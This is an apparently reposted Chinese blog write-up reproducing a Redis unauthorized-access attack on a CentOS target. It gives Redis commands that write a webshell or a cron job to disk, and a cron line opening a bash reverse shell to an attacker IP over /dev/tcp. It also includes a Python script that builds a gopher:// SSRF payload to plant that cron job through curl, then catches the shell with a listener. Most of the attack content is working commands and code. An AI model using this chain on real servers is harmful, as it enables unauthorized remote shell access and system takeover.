zoukankan      html  css  js  c++  java
  • 3. redis未授权漏洞复现(写入linux计划任务反弹shell)

    前提:

      1.靶机是Centos环境

      2.redis低版本,具体低于多少不清楚

     ——————主要几个命令操作——————

      flushall             //清空所有key值
      config get dir          //获取路径
      config set dir /**/**/       //设置路径
      set xxx ' 一句话木马 '   //设置xxx值为一句话木马
      config set dbfilename 111.jsp /  /设置文件名
      save                //将xxx默认写入到111.jsp

    方式一:直接用进入redis写入计划任务(失败,未成功反弹shell,失败原因:未知,到靶机系统查看文件也成功写入了,但是和下面使用脚本写的就是格式上有点不一样)

      1.set 1 ' */1 * * * * bash -i >& /dev/tcp/192.168.43.183/7777 0>&1 '

      2.config set dir /var/spool/cron/
      3.config set dbfilename root
      4.save

      

     方式二:使用脚本写入(原理和上面同理,成功率高)

      ip是目标系统的,server_ip是接收shell的

    import urllib
    protocol="gopher://"
    ip='192.168.43.144'
    port='6379'
    reverse_ip="192.168.43.183"
    reverse_port="4444"
    cron="
    
    
    
    */1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1
    
    
    
    "%(reverse_ip,reverse_port)
    filename="root"
    path="/var/spool/cron"
    passwd=""
    cmd=["flushall",
         "set 1 {}".format(cron.replace(" ","${IFS}")),
         "config set dir {}".format(path),
         "config set dbfilename {}".format(filename),
    "save"
         ]
    if passwd:
        cmd.insert(0,"AUTH {}".format(passwd))
    payload=protocol+ip+":"+port+"/_"
    def redis_format(arr):
        CRLF="
    "
        redis_arr = arr.split(" ")
        cmd=""
        cmd+="*"+str(len(redis_arr))
        for x in redis_arr:
            cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
        cmd+=CRLF
        return cmd
    
    if __name__=="__main__":
        for x in cmd:
            payload += urllib.quote(redis_format(x))
        print payload

      1.改好脚本后运行:python2 redis.py

      

       2.curl命令执行

      

       3.监听成功

      

      

    参考链接:

    https://mp.weixin.qq.com/s/Vj24aRbr3P7Pg59HE3SpRQ

  • 相关阅读:
    项目管理软件选择:redmine or JIRA
    为已编译的DLL附带强命名
    NET简单的一个画图程序
    公共的Json操作类
    ASP.NET 程序优化
    提高ASP.NET页面载入速度的方法
    DataTable快速定制之Expression属性表达式
    TCP和UDP Client 代码
    Jquery实现异步上传图片
    C语言Socket编程(计算机网络作业)
  • 原文地址:https://www.cnblogs.com/hei-zi/p/14103017.html
Copyright © 2011-2022 走看看